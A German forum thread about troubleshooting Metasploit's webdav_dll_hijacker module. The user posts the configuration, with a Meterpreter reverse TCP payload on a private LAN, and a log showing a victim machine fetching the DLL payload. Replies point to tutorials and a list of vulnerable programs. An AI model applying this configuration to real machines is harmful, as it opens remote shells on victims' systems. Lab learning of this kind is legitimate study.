webdav_dll_hijacker. session wird nicht geöffnet warum?

[madmaxx]

Hallo zusammen

Ich wollte mit "metasploit" den Exploit "webdav_dll_hijacker" versuchen.
Dachte eigentlich das wäre kein Problem für mich aber scheinbar doch
Ich habe den Exploit angewählt, einen PAYLOAD ausgesucht und den Server gestartet.

msf exploit(webdav_dll_hijacker) > show options 

Module options:

   Name        Current Setting    Required  Description
   ----        ---------------    --------  -----------
   BASENAME    policy             yes       The base name for the listed files.
   EXTENSIONS  ppt pptx txt html  yes       The list of extensions to generate
   SHARENAME   test-share         yes       The name of the top-level share.
   SRVHOST     0.0.0.0            yes       The local host to listen on.
   SRVPORT     80                 yes       The daemon port to listen on (do not change)
   URIPATH     /                  yes       The URI to use (do not change).

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LHOST     192.168.1.127    yes       The listen address
   LPORT     30000            yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Wenn ich jetzt auf den Share zugreife, und eine ppt Datei mit PowerPoint öffne, passiert aber
leider nichts. Es wird keine Session geöffnet.

Hier mal ein Auszug

[*] 192.168.1.101:1849 PROPFIND /test-share/[*] 192.168.1.101:1849 PROPFIND => 207 Directory (/test-share/)[*] 192.168.1.101:1849 PROPFIND => 207 Top-Level Directory[*] 192.168.1.101:1848 PROPFIND /test-share/policy.ppt[*] 192.168.1.101:1848 PROPFIND => 207 File (/test-share/policy.ppt)[*] 192.168.1.101:1850 PROPFIND /test-share[*] 192.168.1.101:1850 PROPFIND => 301 (/test-share)[*] 192.168.1.101:1848 GET => DATA (/test-share/policy.ppt)[*] 192.168.1.101:1850 PROPFIND /test-share/[*] 192.168.1.101:1850 PROPFIND => 207 Directory (/test-share/)[*] 192.168.1.101:1850 PROPFIND => 207 Top-Level Directory[*] 192.168.1.101:1848 PROPFIND /TEST-SHARE[*] 192.168.1.101:1848 PROPFIND => 301 (/TEST-SHARE)[*] 192.168.1.101:1851 OPTIONS /test-share/[*] 192.168.1.101:1848 PROPFIND /TEST-SHARE/[*] 192.168.1.101:1848 PROPFIND => 207 Directory (/TEST-SHARE/)[*] 192.168.1.101:1848 PROPFIND => 207 Top-Level Directory[*] 192.168.1.101:1851 OPTIONS /[*] 192.168.1.101:1852 PROPFIND /TEST-SHARE[*] 192.168.1.101:1852 PROPFIND => 301 (/TEST-SHARE)[*] 192.168.1.101:1851 OPTIONS /test-share/policy.ppt[*] 192.168.1.101:1852 PROPFIND /TEST-SHARE/[*] 192.168.1.101:1852 PROPFIND => 207 Directory (/TEST-SHARE/)[*] 192.168.1.101:1852 PROPFIND => 207 Top-Level Directory[*] 192.168.1.101:1853 PROPFIND /test-share/wininet.dll[*] 192.168.1.101:1853 PROPFIND => 207 File (/test-share/wininet.dll)[*] 192.168.1.101:1854 PROPFIND /TEST-SHARE[*] 192.168.1.101:1854 PROPFIND => 301 (/TEST-SHARE)[*] 192.168.1.101:1853 GET => DLL Payload[*] 192.168.1.101:1854 PROPFIND /TEST-SHARE/[*] 192.168.1.101:1854 PROPFIND => 207 Directory (/TEST-SHARE/)[*] 192.168.1.101:1854 PROPFIND => 207 Top-Level Directory[*] 192.168.1.101:1851 OPTIONS /[*] 192.168.1.101:1851 OPTIONS /test-share/policy.ppt[*] 192.168.1.101:1851 GET => DATA (/test-share/policy.ppt)

Kann mir jemand einen Tip geben?
Danke

[mr.p4yne]

Hi

Du musst so weit ich weiß musst du die Datei über den Webbrowser aufrufen (ist ja webdav) und nicht über direkt Share.
Das wäre dann in deinem Fall http://192.168.1.127/test-share/

Falls ich falsch liege ist hier nochmal eine ausführliche Anleitung
Metasploit: Exploiting DLL Hijacking Flaws

Hier noch ein Video von OffSec:
Microsoft DLL Hijacking Exploit in Action

[madmaxx]

Dieses Video habe ich in der Zwischenzeit schon gesehen und ich mache es genau so wie im Video über den Internet Explorer. Habe jetzt sogar noch ein Windows XP ohne Updates/SP3 versucht. Kein Erfolg...

[m-1-k-3]

evtl. Bug #2462 ... Metasploit Framework - Bug #2462: DLLHijackink exploit dosen't work - Metasploit Redmine Interface

[madmaxx]

So nach einen Update von msf hat es jetzt geklappt
Fehler lag wohl auch noch daran, dass ich PowerPoint 2003 verwendet habe.
Mit 2007 klappt es.

Danke

[vito21]

Versuche es mit mehreren Endungen. Schaust du hier:

………..und der Admin hyperventilierte » Blog Archive » DLL-Hijacking prof of concept…

Alle Endungen führten bei mir zu einer Session.

Eine inoffizielle Liste aller angreifbaren Programme findest du hier:

http://www.corelan.be:8800/index.php...official-list/

Grüße

Vito

[madmaxx]

mein kommentar ist leider noch nicht aufgeschaltet.
Problem ist gelöst nach einem update...